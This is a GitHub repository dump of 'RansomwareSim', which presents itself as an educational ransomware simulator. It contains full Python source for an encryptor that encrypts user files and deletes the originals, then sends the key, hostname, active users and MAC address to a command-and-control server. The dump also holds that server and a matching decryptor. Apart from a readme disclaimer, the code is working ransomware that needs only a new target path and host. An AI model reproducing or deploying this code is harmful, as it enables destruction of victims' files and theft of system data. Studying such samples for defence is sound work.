├── .github
└── FUNDING.yml
├── ControlServer.py
├── Decoder.py
├── Encoder.py
├── LICENSE
├── Readme.md
├── SECURITY.md
├── img
├── RansomWareSim.png
└── RansomwareSimm.png
└── requirements.txt
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: HalilDeniz
4 | patreon: denizhalil
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: # Replace with a single Ko-fi username
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | otechie: # Replace with a single Otechie username
12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
13 | custom: https://www.buymeacoffee.com/halildeniz
14 |
--------------------------------------------------------------------------------
/ControlServer.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import threading
3 | import json
4 | import logging
5 | from colorama import init, Fore, Style
6 |
7 | init(autoreset=True)
8 | class ControlServer:
9 | def __init__(self, host, port, log_file):
10 | self.host = host
11 | self.port = port
12 | self.server = None
13 | self.setup_logging(log_file)
14 |
15 | def setup_logging(self, log_file):
16 | logging.basicConfig(filename=log_file, level=logging.INFO,
17 | format='%(asctime)s - %(levelname)s - %(message)s')
18 |
19 | def handle_client(self, connection, address):
20 | try:
21 | data = connection.recv(1024)
22 | if not data:
23 | return
24 |
25 | message = json.loads(data.decode())
26 | if 'request' in message and message['request'] == 'key':
27 | print(f"Key request received from: {address}")
28 | key = input(f"{Fore.RED}Please enter the encryption key: {Style.RESET_ALL}")
29 | response = json.dumps({'key': key})
30 | connection.sendall(response.encode())
31 | logging.info(key)
32 | else:
33 | logging.info(f"Data received from {address}: {message}")
34 | print(f"{Fore.GREEN}Data received: {address}. {message}{Style.RESET_ALL}")
35 | except json.JSONDecodeError:
36 | logging.error("Invalid JSON data received.")
37 | finally:
38 | connection.close()
39 |
40 | def start(self):
41 | self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
42 | self.server.bind((self.host, self.port))
43 | self.server.listen(5)
44 | logging.info(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}.{Style.RESET_ALL}")
45 | print(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}{Style.RESET_ALL}")
46 |
47 | try:
48 | while True:
49 | connection, address = self.server.accept()
50 | logging.info(f"Connection established from {address}.")
51 | print(f"Connection established from {address}")
52 | client_thread = threading.Thread(target=self.handle_client, args=(connection, address))
53 | client_thread.start()
54 | except KeyboardInterrupt:
55 | logging.info("Shutting down the server.")
56 | print("Server shut down")
57 | finally:
58 | self.server.close()
59 |
60 | if __name__ == "__main__":
61 | HOST = '0.0.0.0' # Listen on all interfaces
62 | PORT = 12345 # Port number
63 | LOG_FILE = 'server_log.txt' # Name of the log file
64 |
65 | control_server = ControlServer(HOST, PORT, LOG_FILE)
66 | control_server.start()
67 |
--------------------------------------------------------------------------------
/Decoder.py:
--------------------------------------------------------------------------------
1 | import gc
2 | import socket
3 | import json
4 | import os
5 | from cryptography.fernet import Fernet
6 |
7 | class Decoder:
8 | def __init__(self, directory, server_host, server_port):
9 | self.directory = directory
10 | self.server_host = server_host
11 | self.server_port = server_port
12 |
13 | def decrypt_file(self, file_path, key):
14 | fernet = Fernet(key)
15 | with open(file_path, 'rb') as file:
16 | encrypted_data = file.read()
17 | decrypted_data = fernet.decrypt(encrypted_data)
18 |
19 | original_file_path = file_path.replace(".denizhalil", "")
20 | with open(original_file_path, 'wb') as file:
21 | file.write(decrypted_data)
22 |
23 | os.remove(file_path)
24 |
25 | def find_and_decrypt_files(self, key):
26 | for root, _, files in os.walk(self.directory):
27 | for file in files:
28 | if file.endswith(".denizhalil"):
29 | file_path = os.path.join(root, file)
30 | self.decrypt_file(file_path, key)
31 |
32 | def request_key_from_server(self):
33 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
34 | s.connect((self.server_host, self.server_port))
35 | s.sendall(json.dumps({'request': 'key'}).encode())
36 | data = s.recv(1024)
37 | response = json.loads(data.decode())
38 | return response.get('key')
39 |
40 | def delete_readme(self):
41 |
42 | desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
43 | readme_path = os.path.join(desktop_path, 'Readme.txt')
44 |
45 | if os.path.exists(readme_path):
46 | os.remove(readme_path)
47 | else:
48 | pass
49 |
50 | def clear_memory(self):
51 | gc.collect()
52 | print("Memory cleared.")
53 | def main():
54 | directory = 'dosyalar/' # Replace with the target directory path
55 | server_host = '10.0.2.37'
56 | server_port = 12345
57 | print("Waiting for key...")
58 |
59 | try:
60 | decoder = Decoder(directory, server_host, server_port)
61 | key = decoder.request_key_from_server()
62 |
63 | if key:
64 | decoder.find_and_decrypt_files(key)
65 | print("Files successfully decrypted.")
66 | decoder.delete_readme()
67 | else:
68 | print("Key not found or incorrect.")
69 | except Exception as e:
70 | print(f"An error occurred: {e}\nPlease restart the program.")
71 |
72 | decoder.clear_memory()
73 |
74 | if __name__ == "__main__":
75 | main()
76 |
--------------------------------------------------------------------------------
/Encoder.py:
--------------------------------------------------------------------------------
1 | import gc
2 | import os
3 | import json
4 | import uuid
5 | import ctypes
6 | import socket
7 | import subprocess
8 | from cryptography.fernet import Fernet
9 |
10 | class RansomwareSimulator:
11 | def __init__(self, directory, server_host, server_port, file_extensions):
12 | self.directory = directory
13 | self.server_host = server_host
14 | self.server_port = server_port
15 | self.file_extensions = file_extensions
16 | self.key = Fernet.generate_key()
17 |
18 | def change_wallpaper(self, image_path):
19 | if os.name == 'nt':
20 | ctypes.windll.user32.SystemParametersInfoW(20, 0, image_path , 0)
21 |
22 | else:
23 | print("Wallpaper change feature is not supported on this OS.")
24 |
25 | def get_mac_address(self):
26 | mac_num = hex(uuid.getnode()).replace('0x', '').upper()
27 | mac_num = mac_num.zfill(12)
28 | mac = ':'.join(mac_num[i: i + 2] for i in range(0, 12, 2))
29 | return mac
30 |
31 |
32 | def create_readme(self):
33 | desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
34 | readme_path = os.path.join(desktop_path, 'Readme.txt')
35 | with open(readme_path, 'w') as file:
36 | file.write("This is a simulation program, your files are encrypted.")
37 |
38 |
39 | def encrypt_file(self, file_path):
40 | fernet = Fernet(self.key)
41 | with open(file_path, 'rb') as file:
42 | original = file.read()
43 | encrypted = fernet.encrypt(original)
44 |
45 | encrypted_file_path = file_path + ".denizhalil"
46 | with open(encrypted_file_path, 'wb') as encrypted_file:
47 | encrypted_file.write(encrypted)
48 |
49 | os.remove(file_path)
50 | return encrypted_file_path
51 |
52 | def find_and_encrypt_files(self):
53 | encrypted_files = []
54 | for root, _, files in os.walk(self.directory):
55 | for file in files:
56 | if any(file.endswith(ext) for ext in self.file_extensions):
57 | file_path = os.path.join(root, file)
58 | encrypted_file_path = self.encrypt_file(file_path)
59 | encrypted_files.append(encrypted_file_path)
60 | print(f"Encrypted and saved file: {encrypted_file_path}")
61 | return encrypted_files
62 |
63 | def get_active_users(self):
64 | try:
65 | command = 'query user' if os.name == 'nt' else 'who'
66 | output = subprocess.check_output(command, shell=True)
67 | return output.decode(errors='ignore')
68 | except subprocess.CalledProcessError:
69 | return "Unable to fetch active users"
70 |
71 | def collect_data(self):
72 | return {
73 | 'hostname': socket.gethostname(),
74 | 'key': self.key.decode(),
75 | 'active_users': self.get_active_users(),
76 | 'mac_address': self.get_mac_address()
77 | }
78 |
79 | def send_data_to_server(self):
80 | data = self.collect_data()
81 | self.send_to_server(json.dumps(data))
82 |
83 | def send_to_server(self, data):
84 | try:
85 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
86 | s.connect((self.server_host, self.server_port))
87 | s.sendall(data.encode())
88 | except:
89 | quit(0)
90 |
91 | def clear_memory(self):
92 | gc.collect()
93 | print("Memory cleared.")
94 |
95 | def main():
96 | file_extensions = ['.txt', '.docx', '.jpg']
97 | directory = 'dosyalar/' # 'dosyalar/' should be replaced with the directory path you want to target
98 | wallpaper_path = r"duvarkağıtı/araba.jpg"
99 | server_host = '10.0.2.37'
100 | server_port = 12345
101 |
102 | simulator = RansomwareSimulator(directory, server_host, server_port, file_extensions)
103 | simulator.find_and_encrypt_files()
104 | simulator.send_data_to_server()
105 | simulator.change_wallpaper(wallpaper_path) # Change the wallpaper
106 | simulator.create_readme()
107 | simulator.clear_memory()
108 |
109 | if __name__ == "__main__":
110 | main()
111 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Halil Ibrahim Deniz
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # RansomwareSim
2 |
3 |
4 |
5 | ## Overview
6 | RansomwareSim is a simulated ransomware application developed for educational and training purposes. It is designed to demonstrate how ransomware encrypts files on a system and communicates with a command-and-control server. This tool is strictly for educational use and should not be used for malicious purposes.
7 |
8 |